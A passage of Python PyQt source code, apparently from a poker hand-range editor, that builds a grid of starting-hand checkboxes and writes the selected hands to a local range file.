#worksheet1.write(5, 1, \"K9\", bluebold)\n f_range.append('k9o')\n if self.k8o:\n #if settings.ranges_xml:\n #worksheet1.write(6, 1, \"K8\", bluebold)\n f_range.append('k8o')\n if self.k7o:\n #if settings.ranges_xml:\n #worksheet1.write(7, 1, \"K7\", bluebold)\n f_range.append('k7o')\n if self.k6o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 1, \"K6\", bluebold)\n f_range.append('k6o')\n if self.k5o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 1, \"K5\", bluebold)\n f_range.append('k5o')\n if self.k4o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 1, \"K4\", bluebold)\n f_range.append('k4o')\n if self.k3o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 1, \"K3\", bluebold)\n f_range.append('k3o')\n if self.k2o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 1, \"K2\", bluebold)\n f_range.append('k2o')\n\n #q\n if self.qq:\n #if settings.ranges_xml:\n #worksheet1.write(2, 2, \"QQ\", greenbold)\n f_range.append('qq')\n if self.qjs:\n #if settings.ranges_xml:\n #worksheet1.write(2, 3, \"QJ\", redbold)\n f_range.append('qjs')\n if self.qts:\n #if settings.ranges_xml:\n #worksheet1.write(2, 4, \"QT\", redbold)\n f_range.append('qts')\n if self.q9s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 5, \"Q9\", redbold)\n f_range.append('q9s')\n if self.q8s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 6, \"Q8\", redbold)\n f_range.append('q8s')\n if self.q7s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 7, \"Q7\", redbold)\n f_range.append('q7s')\n if self.q6s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 8, \"Q6\", redbold)\n f_range.append('q6s')\n if self.q5s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 9, \"Q5\", redbold)\n f_range.append('q5s')\n if self.q4s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 10, \"Q4\", redbold)\n f_range.append('q4s')\n if self.q3s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 11, \"Q3\", redbold)\n f_range.append('q3s')\n if self.q2s:\n #if settings.ranges_xml:\n #worksheet1.write(2, 12, \"Q2\", redbold)\n f_range.append('q2s')\n if self.qjo:\n #if settings.ranges_xml:\n #worksheet1.write(3, 2, \"QJ\", bluebold)\n f_range.append('qjo')\n if self.qto:\n #if settings.ranges_xml:\n #worksheet1.write(4, 2, \"QT\", bluebold)\n f_range.append('qto')\n if self.q9o:\n #if settings.ranges_xml:\n #worksheet1.write(5, 2, \"Q9\", bluebold)\n f_range.append('q9o')\n if self.q8o:\n #if settings.ranges_xml:\n #worksheet1.write(6, 2, \"Q8\", bluebold)\n f_range.append('q8o')\n if self.q7o:\n #if settings.ranges_xml:\n #worksheet1.write(7, 2, \"Q7\", bluebold)\n f_range.append('q7o')\n if self.q6o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 2, \"Q6\", bluebold)\n f_range.append('q6o')\n if self.q5o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 2, \"Q5\", bluebold)\n f_range.append('q5o')\n if self.q4o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 2, \"Q4\", bluebold)\n f_range.append('q4o')\n if self.q3o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 2, \"Q3\", bluebold)\n f_range.append('q3o')\n if self.q2o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 2, \"Q2\", bluebold)\n f_range.append('q2o')\n\n #j\n if self.jj:\n #if settings.ranges_xml:\n #worksheet1.write(3, 3, \"JJ\", greenbold)\n f_range.append('jj')\n if self.jts:\n #if settings.ranges_xml:\n #worksheet1.write(3, 4, \"JT\", redbold)\n f_range.append('jts')\n if self.j9s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 5, \"J9\", redbold)\n f_range.append('j9s')\n if self.j8s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 6, \"J8\", redbold)\n f_range.append('j8s')\n if self.j7s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 7, \"J7\", redbold)\n f_range.append('j7s')\n if self.j6s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 8, \"J6\", redbold)\n f_range.append('j6s')\n if self.j5s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 9, \"J5\", redbold)\n f_range.append('j5s')\n if self.j4s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 10, \"J4\", redbold)\n f_range.append('j4s')\n if self.j3s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 11, \"J3\", redbold)\n f_range.append('j3s')\n if self.j2s:\n #if settings.ranges_xml:\n #worksheet1.write(3, 12, \"J2\", redbold)\n f_range.append('j2s')\n if self.jto:\n #if settings.ranges_xml:\n #worksheet1.write(4, 3, \"JT\", bluebold)\n f_range.append('jto')\n if self.j9o:\n #if settings.ranges_xml:\n #worksheet1.write(5, 3, \"J9\", bluebold)\n f_range.append('j9o')\n if self.j8o:\n #if settings.ranges_xml:\n #worksheet1.write(6, 3, \"J8\", bluebold)\n f_range.append('j8o')\n if self.j7o:\n #if settings.ranges_xml:\n #worksheet1.write(7, 3, \"J7\", bluebold)\n f_range.append('j7o')\n if self.j6o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 3, \"J6\", bluebold)\n f_range.append('j6o')\n if self.j5o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 3, \"J5\", bluebold)\n f_range.append('j5o')\n if self.j4o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 3, \"J4\", bluebold)\n f_range.append('j4o')\n if self.j3o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 3, \"J3\", bluebold)\n f_range.append('j3o')\n if self.j2o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 3, \"J2\", bluebold)\n f_range.append('j2o')\n\n #t\n if self.tt:\n #if settings.ranges_xml:\n #worksheet1.write(4, 4, \"TT\", greenbold)\n f_range.append('tt')\n if self.t9s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 5, \"T9\", redbold)\n f_range.append('t9s')\n if self.t8s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 6, \"T8\", redbold)\n f_range.append('t8s')\n if self.t7s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 7, \"T7\", redbold)\n f_range.append('t7s')\n if self.t6s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 8, \"T6\", redbold)\n f_range.append('t6s')\n if self.t5s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 9, \"T5\", redbold)\n f_range.append('t5s')\n if self.t4s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 10, \"T4\", redbold)\n f_range.append('t4s')\n if self.t3s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 11, \"T3\", redbold)\n f_range.append('t3s')\n if self.t2s:\n #if settings.ranges_xml:\n #worksheet1.write(4, 12, \"T2\", redbold)\n f_range.append('t2s')\n if self.t9o:\n #if settings.ranges_xml:\n #worksheet1.write(5, 4, \"T9\", bluebold)\n f_range.append('t9o')\n if self.t8o:\n #if settings.ranges_xml:\n #worksheet1.write(6, 4, \"T8\", bluebold)\n f_range.append('t8o')\n if self.t7o:\n #if settings.ranges_xml:\n #worksheet1.write(7, 4, \"T7\", bluebold)\n f_range.append('t7o')\n if self.t6o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 4, \"T6\", bluebold)\n f_range.append('t6o')\n if self.t5o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 4, \"T5\", bluebold)\n f_range.append('t5o')\n if self.t4o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 4, \"T4\", bluebold)\n f_range.append('t4o')\n if self.t3o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 4, \"T3\", bluebold)\n f_range.append('t3o')\n if self.t2o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 4, \"T2\", bluebold)\n f_range.append('t2o')\n\n #9\n if self.h99:\n #if settings.ranges_xml:\n #worksheet1.write(5, 5, \"99\", greenbold)\n f_range.append('99')\n if self.h98s:\n #if settings.ranges_xml:\n #worksheet1.write(5, 6, \"98\", redbold)\n f_range.append('98s')\n if self.h97s:\n #if settings.ranges_xml:\n #worksheet1.write(5, 7, \"97\", redbold)\n f_range.append('97s')\n if self.h96s:\n #if settings.ranges_xml:\n #worksheet1.write(5, 8, \"96\", redbold)\n f_range.append('96s')\n if self.h95s:\n #if settings.ranges_xml:\n #worksheet1.write(5, 9, \"95\", redbold)\n f_range.append('95s')\n if self.h94s:\n #if settings.ranges_xml:\n #worksheet1.write(5, 10, \"94\", redbold)\n f_range.append('94s')\n if self.h93s:\n #if settings.ranges_xml:\n #worksheet1.write(5, 11, \"93\", redbold)\n f_range.append('93s')\n if self.h92s:\n #if settings.ranges_xml:\n #worksheet1.write(5, 12, \"92\", redbold)\n f_range.append('92s')\n if self.h98o:\n #if settings.ranges_xml:\n #worksheet1.write(6, 5, \"98\", bluebold)\n f_range.append('98o')\n if self.h97o:\n #if settings.ranges_xml:\n #worksheet1.write(7, 5, \"97\", bluebold)\n f_range.append('97o')\n if self.h96o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 5, \"96\", bluebold)\n f_range.append('96o')\n if self.h95o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 5, \"95\", bluebold)\n f_range.append('95o')\n if self.h94o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 5, \"94\", bluebold)\n f_range.append('94o')\n if self.h93o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 5, \"93\", bluebold)\n f_range.append('93o')\n if self.h92o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 5, \"92\", bluebold)\n f_range.append('92o')\n\n #8\n if self.h88:\n #if settings.ranges_xml:\n #worksheet1.write(6, 6, \"88\", greenbold)\n f_range.append('88')\n if self.h87s:\n #if settings.ranges_xml:\n #worksheet1.write(6, 7, \"87\", redbold)\n f_range.append('87s')\n if self.h86s:\n #if settings.ranges_xml:\n #worksheet1.write(6, 8, \"86\", redbold)\n f_range.append('86s')\n if self.h85s:\n #if settings.ranges_xml:\n #worksheet1.write(6, 9, \"85\", redbold)\n f_range.append('85s')\n if self.h84s:\n #if settings.ranges_xml:\n #worksheet1.write(6, 10, \"84\", redbold)\n f_range.append('84s')\n if self.h83s:\n #if settings.ranges_xml:\n #worksheet1.write(6, 11, \"83\", redbold)\n f_range.append('83s')\n if self.h82s:\n #if settings.ranges_xml:\n #worksheet1.write(6, 12, \"82\", redbold)\n f_range.append('82s')\n if self.h87o:\n #if settings.ranges_xml:\n #worksheet1.write(7, 6, \"87\", bluebold)\n f_range.append('87o')\n if self.h86o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 6, \"86\", bluebold)\n f_range.append('86o')\n if self.h85o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 6, \"85\", bluebold)\n f_range.append('85o')\n if self.h84o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 6, \"84\", bluebold)\n f_range.append('84o')\n if self.h83o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 6, \"83\", bluebold)\n f_range.append('83o')\n if self.h82o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 6, \"82\", bluebold)\n f_range.append('82o')\n\n #7\n if self.h77:\n #if settings.ranges_xml:\n #worksheet1.write(7, 7, \"77\", greenbold)\n f_range.append('77')\n if self.h76s:\n #if settings.ranges_xml:\n #worksheet1.write(7, 8, \"76\", redbold)\n f_range.append('76s')\n if self.h75s:\n #if settings.ranges_xml:\n #worksheet1.write(7, 9, \"75\", redbold)\n f_range.append('75s')\n if self.h74s:\n #if settings.ranges_xml:\n #worksheet1.write(7, 10, \"74\", redbold)\n f_range.append('74s')\n if self.h73s:\n #if settings.ranges_xml:\n #worksheet1.write(7, 11, \"73\", redbold)\n f_range.append('73s')\n if self.h72s:\n #if settings.ranges_xml:\n #worksheet1.write(7, 12, \"72\", redbold)\n f_range.append('72s')\n if self.h76o:\n #if settings.ranges_xml:\n #worksheet1.write(8, 7, \"76\", bluebold)\n f_range.append('76o')\n if self.h75o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 7, \"75\", bluebold)\n f_range.append('75o')\n if self.h74o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 7, \"74\", bluebold)\n f_range.append('74o')\n if self.h73o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 7, \"73\", bluebold)\n f_range.append('73o')\n if self.h72o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 7, \"72\", bluebold)\n f_range.append('72o')\n\n #6\n if self.h66:\n #if settings.ranges_xml:\n #worksheet1.write(8, 8, \"66\", greenbold)\n f_range.append('66')\n if self.h65s:\n #if settings.ranges_xml:\n #worksheet1.write(8, 9, \"65\", redbold)\n f_range.append('65s')\n if self.h64s:\n #if settings.ranges_xml:\n #worksheet1.write(8, 10, \"64\", redbold)\n f_range.append('64s')\n if self.h63s:\n #if settings.ranges_xml:\n #worksheet1.write(8, 11, \"63\", redbold)\n f_range.append('63s')\n if self.h62s:\n #if settings.ranges_xml:\n #worksheet1.write(8, 12, \"62\", redbold)\n f_range.append('62s')\n if self.h65o:\n #if settings.ranges_xml:\n #worksheet1.write(9, 8, \"65\", bluebold)\n f_range.append('65o')\n if self.h64o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 8, \"64\", bluebold)\n f_range.append('64o')\n if self.h63o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 8, \"63\", bluebold)\n f_range.append('63o')\n if self.h62o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 8, \"62\", bluebold)\n f_range.append('62o')\n\n #5\n if self.h55:\n #if settings.ranges_xml:\n #worksheet1.write(9, 9, \"55\", greenbold)\n f_range.append('55')\n if self.h54s:\n #if settings.ranges_xml:\n #worksheet1.write(9, 10, \"54\", redbold)\n f_range.append('54s')\n if self.h53s:\n #if settings.ranges_xml:\n #worksheet1.write(9, 11, \"53\", redbold)\n f_range.append('53s')\n if self.h52s:\n #if settings.ranges_xml:\n #worksheet1.write(9, 12, \"52\", redbold)\n f_range.append('52s')\n if self.h54o:\n #if settings.ranges_xml:\n #worksheet1.write(10, 9, \"54\", bluebold)\n f_range.append('54o')\n if self.h53o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 9, \"53\", bluebold)\n f_range.append('53o')\n if self.h52o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 9, \"52\", bluebold)\n f_range.append('52o')\n\n #4\n if self.h44:\n #if settings.ranges_xml:\n #worksheet1.write(10, 10, \"44\", greenbold)\n f_range.append('44')\n if self.h43s:\n #if settings.ranges_xml:\n #worksheet1.write(10, 11, \"43\", redbold)\n f_range.append('43s')\n if self.h42s:\n #if settings.ranges_xml:\n #worksheet1.write(10, 12, \"42\", redbold)\n f_range.append('42s')\n if self.h43o:\n #if settings.ranges_xml:\n #worksheet1.write(11, 10, \"43\", bluebold)\n f_range.append('43o')\n if self.h42o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 10, \"42\", bluebold)\n f_range.append('42o')\n\n #3\n if self.h33:\n #if settings.ranges_xml:\n #worksheet1.write(11, 11, \"33\", greenbold)\n f_range.append('33')\n if self.h32s:\n #if settings.ranges_xml:\n #worksheet1.write(11, 12, \"32\", redbold)\n f_range.append('32s')\n if self.h32o:\n #if settings.ranges_xml:\n #worksheet1.write(12, 11, \"32\", bluebold)\n f_range.append('32o')\n \n #2\n if self.h22:\n #if settings.ranges_xml:\n #worksheet1.write(12, 12, \"22\", greenbold)\n f_range.append('22')\n\n fishname = str(combopreflop.currentText())\n rangename = str(comboranges.currentText())\n #combopreval = str(combopreflop.currentText())\n flat_file = \"./ocean/fishes/\" + fishname + \"/ranges/\" + rangename + \".range\"\n with open(flat_file, \"w+\") as f:\n for item in f_range:\n f.write(\"%s\\n\" % item)\n f.close()\n \n #if settings.ranges_xml:\n #workbook.close()\n\n btn.clicked.connect(on_click)\n \n\n #14 line\n cbaa = QtGui.QCheckBox('AA', self)\n cbaa.move(20, 20)\n #cbaa.toggle()\n cbaa.stateChanged.connect(self.changeaa)\n \n cbaks = QtGui.QCheckBox('AKs', self)\n cbaks.move(70, 20)\n #cbako.toggle()\n cbaks.stateChanged.connect(self.changeaks)\n\n cbaqs = QtGui.QCheckBox('AQs', self)\n cbaqs.move(120, 20)\n #cbaqo.toggle()\n cbaqs.stateChanged.connect(self.changeaqs)\n\n cbajs = QtGui.QCheckBox('AJs', self)\n cbajs.move(170, 20)\n #cbajo.toggle()\n cbajs.stateChanged.connect(self.changeajs)\n\n cbats = QtGui.QCheckBox('ATs', self)\n cbats.move(220, 20)\n #cbato.toggle()\n cbats.stateChanged.connect(self.changeats)\n\n cba9s = QtGui.QCheckBox('A9s', self)\n cba9s.move(270, 20)\n #cba9o.toggle()\n cba9s.stateChanged.connect(self.changea9s)\n\n cba8s = QtGui.QCheckBox('A8s', self)\n cba8s.move(320, 20)\n #cba8o.toggle()\n cba8s.stateChanged.connect(self.changea8s)\n\n cba7s = QtGui.QCheckBox('A7s', self)\n cba7s.move(370, 20)\n #cba7o.toggle()\n cba7s.stateChanged.connect(self.changea7s)\n\n cba6s = QtGui.QCheckBox('A6s', self)\n cba6s.move(420, 20)\n #cba6o.toggle()\n cba6s.stateChanged.connect(self.changea6s)\n\n cba5s = QtGui.QCheckBox('A5s', self)\n cba5s.move(470, 20)\n #cba5o.toggle()\n cba5s.stateChanged.connect(self.changea5s)\n\n cba4s = QtGui.QCheckBox('A4s', self)\n cba4s.move(520, 20)\n #cba4o.toggle()\n cba4s.stateChanged.connect(self.changea4s)\n\n cba3s = QtGui.QCheckBox('A3s', self)\n cba3s.move(570, 20)\n #cba3o.toggle()\n cba3s.stateChanged.connect(self.changea3s)\n\n cba2s = QtGui.QCheckBox('A2s', self)\n cba2s.move(620, 20)\n #cba2o.toggle()\n cba2s.stateChanged.connect(self.changea2s)\n\n #13 line\n cbako = QtGui.QCheckBox('AKo', self)\n cbako.move(20, 40)\n #cbaks.toggle()\n cbako.stateChanged.connect(self.changeako)\n \n cbkk = QtGui.QCheckBox('KK', self)\n cbkk.move(70, 40)\n #cbakk.toggle()\n cbkk.stateChanged.connect(self.changekk)\n\n cbkqs = QtGui.QCheckBox('KQs', self)\n cbkqs.move(120, 40)\n #cbkqo.toggle()\n cbkqs.stateChanged.connect(self.changekqs)\n\n cbkjs = QtGui.QCheckBox('KJs', self)\n cbkjs.move(170, 40)\n #cbkjo.toggle()\n cbkjs.stateChanged.connect(self.changekjs)\n\n cbkts = QtGui.QCheckBox('KTs', self)\n cbkts.move(220, 40)\n #cbkto.toggle()\n cbkts.stateChanged.connect(self.changekts)\n\n cbk9s = QtGui.QCheckBox('K9s', self)\n cbk9s.move(270, 40)\n #cbk9o.toggle()\n cbk9s.stateChanged.connect(self.changek9s)\n\n cbk8s = QtGui.QCheckBox('K8s', self)\n cbk8s.move(320, 40)\n #cbk8o.toggle()\n cbk8s.stateChanged.connect(self.changek8s)\n\n cbk7s = QtGui.QCheckBox('K7s', self)\n cbk7s.move(370, 40)\n #cbk7o.toggle()\n cbk7s.stateChanged.connect(self.changek7s)\n\n cbk6s = QtGui.QCheckBox('K6s', self)\n cbk6s.move(420, 40)\n #cbk6o.toggle()\n cbk6s.stateChanged.connect(self.changek6s)\n\n cbk5s = QtGui.QCheckBox('K5s', self)\n cbk5s.move(470, 40)\n #cbk5o.toggle()\n cbk5s.stateChanged.connect(self.changek5s)\n\n cbk4s = QtGui.QCheckBox('K4s', self)\n cbk4s.move(520, 40)\n #cbk4o.toggle()\n cbk4s.stateChanged.connect(self.changek4s)\n\n cbk3s = QtGui.QCheckBox('K3s', self)\n cbk3s.move(570, 40)\n #cbk3o.toggle()\n cbk3s.stateChanged.connect(self.changek3s)\n\n cbk2s = QtGui.QCheckBox('K2s', self)\n cbk2s.move(620, 40)\n #cbk2o.toggle()\n cbk2s.stateChanged.connect(self.changek2s)\n\n #12 line\n cbaqo = QtGui.QCheckBox('AQo', self)\n cbaqo.move(20, 60)\n #cbaks.toggle()\n cbaqo.stateChanged.connect(self.changeaqo)\n\n cbkqo = QtGui.QCheckBox('KQo', self)\n cbkqo.move(70, 60)\n #cbaks.toggle()\n cbkqo.stateChanged.connect(self.changekqo)\n\n cbqq = QtGui.QCheckBox('QQ', self)\n cbqq.move(120, 60)\n #cbaks.toggle()\n cbqq.stateChanged.connect(self.changeqq)\n\n cbqjs = QtGui.QCheckBox('QJs', self)\n cbqjs.move(170, 60)\n #cbaks.toggle()\n cbqjs.stateChanged.connect(self.changeqjs)\n\n cbqts = QtGui.QCheckBox('QTs', self)\n cbqts.move(220, 60)\n #cbaks.toggle()\n cbqts.stateChanged.connect(self.changeqts)\n\n cbq9s = QtGui.QCheckBox('Q9s', self)\n cbq9s.move(270, 60)\n #cbaks.toggle()\n cbq9s.stateChanged.connect(self.changeq9s)\n\n cbq8s = QtGui.QCheckBox('Q8s', self)\n cbq8s.move(320, 60)\n #cbaks.toggle()\n cbq8s.stateChanged.connect(self.changeq8s)\n\n cbq7s = QtGui.QCheckBox('Q7s', self)\n cbq7s.move(370, 60)\n #cbaks.toggle()\n cbq7s.stateChanged.connect(self.changeq7s)\n\n cbq6s = QtGui.QCheckBox('Q6s', self)\n cbq6s.move(420, 60)\n #cbaks.toggle()\n cbq6s.stateChanged.connect(self.changeq6s)\n\n cbq5s = QtGui.QCheckBox('Q5s', self)\n cbq5s.move(470, 60)\n #cbaks.toggle()\n cbq5s.stateChanged.connect(self.changeq5s)\n\n cbq4s = QtGui.QCheckBox('Q4s', self)\n cbq4s.move(520, 60)\n #cbaks.toggle()\n cbq4s.stateChanged.connect(self.changeq4s)\n\n cbq3s = QtGui.QCheckBox('Q3s', self)\n cbq3s.move(570, 60)\n #cbaks.toggle()\n cbq3s.stateChanged.connect(self.changeq3s)\n\n cbq2s = QtGui.QCheckBox('Q2s', self)\n cbq2s.move(620, 60)\n #cbaks.toggle()\n cbq2s.stateChanged.connect(self.changeq2s)\n\n #11 line\n cbajo = QtGui.QCheckBox('AJo', self)\n cbajo.move(20, 80)\n #cbaks.toggle()\n cbajo.stateChanged.connect(self.changeajo)\n\n cbkjo = QtGui.QCheckBox('KJo', self)\n cbkjo.move(70, 80)\n #cbaks.toggle()\n cbkjo.stateChanged.connect(self.changekjo)\n\n cbqjo = QtGui.QCheckBox('QJo', self)\n cbqjo.move(120, 80)\n #cbaks.toggle()\n cbqjo.stateChanged.connect(self.changeqjo)\n\n cbjj = QtGui.QCheckBox('JJ', self)\n cbjj.move(170, 80)\n #cbaks.toggle()\n cbjj.stateChanged.connect(self.changejj)\n\n cbjts = QtGui.QCheckBox('JTs', self)\n cbjts.move(220, 80)\n #cbaks.toggle()\n cbjts.stateChanged.connect(self.changejts)\n\n cbj9s = QtGui.QCheckBox('J9s', self)\n cbj9s.move(270, 80)\n #cbaks.toggle()\n cbj9s.stateChanged.connect(self.changej9s)\n\n cbj8s = QtGui.QCheckBox('J8s', self)\n cbj8s.move(320, 80)\n #cbaks.toggle()\n cbj8s.stateChanged.connect(self.changej8s)\n\n cbj7s = QtGui.QCheckBox('J7s', self)\n cbj7s.move(370, 80)\n #cbaks.toggle()\n cbj7s.stateChanged.connect(self.changej7s)\n\n cbj6s = QtGui.QCheckBox('J6s', self)\n cbj6s.move(420, 80)\n #cbaks.toggle()\n cbj6s.stateChanged.connect(self.changej6s)\n\n cbj5s = QtGui.QCheckBox('J5s', self)\n cbj5s.move(470, 80)\n #cbaks.toggle()\n cbj5s.stateChanged.connect(self.changej5s)\n\n cbj4s = QtGui.QCheckBox('J4s', self)\n cbj4s.move(520, 80)\n #cbaks.toggle()\n cbj4s.stateChanged.connect(self.changej4s)\n\n cbj3s = QtGui.QCheckBox('J3s', self)\n cbj3s.move(570, 80)\n #cbaks.toggle()\n cbj3s.stateChanged.connect(self.changej3s)\n\n cbj2s = QtGui.QCheckBox('J2s', self)\n cbj2s.move(620, 80)\n #cbaks.toggle()\n cbj2s.stateChanged.connect(self.changej2s)\n\n #10 line\n\n cbato = QtGui.QCheckBox('ATo', self)\n cbato.move(20, 100)\n #cbaks.toggle()\n cbato.stateChanged.connect(self.changeato)\n\n cbkto = QtGui.QCheckBox('KTo', self)\n cbkto.move(70, 100)\n #cbaks.toggle()\n cbkto.stateChanged.connect(self.changekto)\n\n cbqto = QtGui.QCheckBox('QTo', self)\n cbqto.move(120, 100)\n #cbaks.toggle()\n cbqto.stateChanged.connect(self.changeqto)\n\n cbjto = QtGui.QCheckBox('JTo', self)\n cbjto.move(170, 100)\n #cbaks.toggle()\n cbjto.stateChanged.connect(self.changejto)\n\n cbtt = QtGui.QCheckBox('TT', self)\n cbtt.move(220, 100)\n #cbaks.toggle()\n cbtt.stateChanged.connect(self.changett)\n\n cbt9s = QtGui.QCheckBox('T9s', self)\n cbt9s.move(270, 100)\n #cbaks.toggle()\n cbt9s.stateChanged.connect(self.changet9s)\n\n cbt8s = QtGui.QCheckBox('T8s', self)\n cbt8s.move(320, 100)\n #cbaks.toggle()\n cbt8s.stateChanged.connect(self.changet8s)\n\n cbt7s = QtGui.QCheckBox('T7s', self)\n cbt7s.move(370, 100)\n #cbaks.toggle()\n cbt7s.stateChanged.connect(self.changet7s)\n\n cbt6s = QtGui.QCheckBox('T6s', self)\n cbt6s.move(420, 100)\n #cbaks.toggle()\n cbt6s.stateChanged.connect(self.changet6s)\n\n cbt5s = QtGui.QCheckBox('T5s', self)\n cbt5s.move(470, 100)\n #cbaks.toggle()\n cbt5s.stateChanged.connect(self.changet5s)\n\n cbt4s = QtGui.QCheckBox('T4s', self)\n cbt4s.move(520, 100)\n #cbaks.toggle()\n cbt4s.stateChanged.connect(self.changet4s)\n\n cbt3s = QtGui.QCheckBox('T3s', self)\n cbt3s.move(570, 100)\n #cbaks.toggle()\n cbt3s.stateChanged.connect(self.changet3s)\n\n cbt2s = QtGui.QCheckBox('T2s', self)\n cbt2s.move(620, 100)\n #cbaks.toggle()\n cbt2s.stateChanged.connect(self.changet2s)\n\n #9 line\n cba9o = QtGui.QCheckBox('A9o', self)\n cba9o.move(20, 120)\n #cbaks.toggle()\n cba9o.stateChanged.connect(self.changea9o)\n\n cbk9o = QtGui.QCheckBox('K9o', self)\n cbk9o.move(70, 120)\n #cbaks.toggle()\n cbk9o.stateChanged.connect(self.changek9o)\n\n cbq9o = QtGui.QCheckBox('Q9o', self)\n cbq9o.move(120, 120)\n #cbaks.toggle()\n cbq9o.stateChanged.connect(self.changeq9o)\n\n cbj9o = QtGui.QCheckBox('J9o', self)\n cbj9o.move(170, 120)\n #cbaks.toggle()\n cbj9o.stateChanged.connect(self.changej9o)\n\n cbt9o = QtGui.QCheckBox('T9o', self)\n cbt9o.move(220, 120)\n #cbaks.toggle()\n cbt9o.stateChanged.connect(self.changet9o)\n\n cb99 = QtGui.QCheckBox('99', self)\n cb99.move(270, 120)\n #cbaks.toggle()\n cb99.stateChanged.connect(self.change99)\n\n cb98s = QtGui.QCheckBox('98s', self)\n cb98s.move(320, 120)\n #cbaks.toggle()\n cb98s.stateChanged.connect(self.change98s)\n\n cb97s = QtGui.QCheckBox('97s', self)\n cb97s.move(370, 120)\n #cbaks.toggle()\n cb97s.stateChanged.connect(self.change97s)\n\n cb96s = QtGui.QCheckBox('96s', self)\n cb96s.move(420, 120)\n #cbaks.toggle()\n cb96s.stateChanged.connect(self.change96s)\n\n cb95s = QtGui.QCheckBox('95s', self)\n cb95s.move(470, 120)\n #cbaks.toggle()\n cb95s.stateChanged.connect(self.change95s)\n\n cb94s = QtGui.QCheckBox('94s', self)\n cb94s.move(520, 120)\n #cbaks.toggle()\n cb94s.stateChanged.connect(self.change94s)\n\n cb93s = QtGui.QCheckBox('93s', self)\n cb93s.move(570, 120)\n #cbaks.toggle()\n cb93s.stateChanged.connect(self.change93s)\n\n cb92s = QtGui.QCheckBox('92s', self)\n cb92s.move(620, 120)\n #cbaks.toggle()\n cb92s.stateChanged.connect(self.change92s)\n\n #8 line\n cba8o = QtGui.QCheckBox('A8o', self)\n cba8o.move(20, 140)\n #cbaks.toggle()\n cba8o.stateChanged.connect(self.changea8o)\n\n cbk8o = QtGui.QCheckBox('K8o', self)\n cbk8o.move(70, 140)\n #cbaks.toggle()\n cbk8o.stateChanged.connect(self.changek8o)\n\n cbq8o = QtGui.QCheckBox('Q8o', self)\n cbq8o.move(120, 140)\n #cbaks.toggle()\n cbq8o.stateChanged.connect(self.changeq8o)\n\n cbj8o = QtGui.QCheckBox('J8o', self)\n cbj8o.move(170, 140)\n #cbaks.toggle()\n cbj8o.stateChanged.connect(self.changej8o)\n\n cbt8o = QtGui.QCheckBox('T8o', self)\n cbt8o.move(220, 140)\n #cbaks.toggle()\n cbt8o.stateChanged.connect(self.changet8o)\n\n cb98o = QtGui.QCheckBox('98o', self)\n cb98o.move(270, 140)\n #cbaks.toggle()\n cb98o.stateChanged.connect(self.change98o)\n\n cb88 = QtGui.QCheckBox('88', self)\n cb88.move(320, 140)\n #cbaks.toggle()\n cb88.stateChanged.connect(self.change88)\n\n cb87s = QtGui.QCheckBox('87s', self)\n cb87s.move(370, 140)\n #cbaks.toggle()\n cb87s.stateChanged.connect(self.change87s)\n\n cb86s = QtGui.QCheckBox('86s', self)\n cb86s.move(420, 140)\n #cbaks.toggle()\n cb86s.stateChanged.connect(self.change86s)\n\n cb85s = QtGui.QCheckBox('85s', self)\n cb85s.move(470, 140)\n #cbaks.toggle()\n cb85s.stateChanged.connect(self.change85s)\n\n cb84s = QtGui.QCheckBox('84s', self)\n cb84s.move(520, 140)\n #cbaks.toggle()\n cb84s.stateChanged.connect(self.change84s)\n\n cb83s = QtGui.QCheckBox('83s', self)\n 